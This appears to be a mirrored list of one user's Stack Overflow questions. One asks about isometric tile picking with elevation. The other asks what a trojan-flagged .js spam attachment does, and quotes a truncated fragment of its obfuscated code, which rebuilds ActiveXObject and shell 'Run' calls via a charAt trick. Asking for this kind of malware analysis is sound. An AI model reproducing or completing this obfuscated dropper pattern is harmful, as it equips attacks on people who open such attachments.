小编use*_*553的帖子

如何计算等距世界中鼠标下方的图块索引,同时考虑图块高程

我有一个基于图块的等距世界,我可以通过使用以下计算来计算特定(鼠标)坐标下面的哪个图块:

function isoTo2D(pt:Point):Point{
  var tempPt:Point = new Point(0, 0);
  tempPt.x = (2 * pt.y + pt.x) / 2;
  tempPt.y = (2 * pt.y - pt.x) / 2;
  return(tempPt);
}

function getTileCoordinates(pt:Point, tileHeight:Number):Point{
  var tempPt:Point = new Point(0, 0);
  tempPt.x = Math.floor(pt.x / tileHeight);
  tempPt.y = Math.floor(pt.y / tileHeight);
  return(tempPt);
}
Run Code Online (Sandbox Code Playgroud)

(摘自http://gamedevelopment.tutsplus.com/tutorials/creating-isometric-worlds-a-primer-for-game-developers--gamedev-6511,这是一个flash实现,但数学是相同的)

但是,当我的瓷砖具有不同的高程水平时,我的问题就出现了: 在此输入图像描述

在此输入图像描述

在这些情况下,由于一些具有较高高度的瓷砖的高度,后面的瓷砖(或瓷砖的一部分)被遮盖并且不应该由鼠标选择,而是选择前面的瓷砖它的.如何在考虑到瓷砖高度的情况下通过鼠标坐标计算瓷砖?

我正在使用javascript和canvas实现.

javascript isometric

8
推荐指数
1
解决办法
892
查看次数

这个javascript有什么作用?这被ESET标记为特洛伊木马

我收到一封垃圾邮件,其中包含一个带有.js文件的附件,出于好奇,我在记事本中打开了它(当然没有运行它).不得不暂时禁用ESET,因为它将此标记为木马.我想知道这实际上是做什么的:

 autonomousRadio = eval(('transport', 'caste', 'acoustic', 'primitive', 'absurd', 'clip', '\u0074phenomenon'.e()) + 'h' + ('station', '\u0069program(me)'.e()) + 's');
 autonomousRadio = autonomousRadio[('barbarian', '\u0041ruin'.e()) + 'ct' + ('state', 'prologue', 'accompany', 'orientation', 'chance', 'unison', '\u0069cyclone'.e()) + 've' + ('modify', 'instruction', 'perspective', '\u0058depot'.e()) + 'O' + ('intellect', 'guide', 'delegation', 'invalid', '\u0062order'.e()) + 'je' + ('pill', 'revue', 'compress', 'commerce', '\u0063sponsor'.e()) + 't'];
 skeletonArcade = ('major', '\u0052discrete'.e()) + 'un';

 function String.prototype.e(a) {
     return this.charAt(a);
 }
 phaseMemorial = new autonomousRadio(('dogma', 'literature', '\u0057handicap'.e()) + 'S' + ('beach', 'reform', 'duplicate', …
Run Code Online (Sandbox Code Playgroud)

javascript trojan deobfuscation

2
推荐指数
1
解决办法
163
查看次数

标签 统计

javascript ×2

deobfuscation ×1

isometric ×1

trojan ×1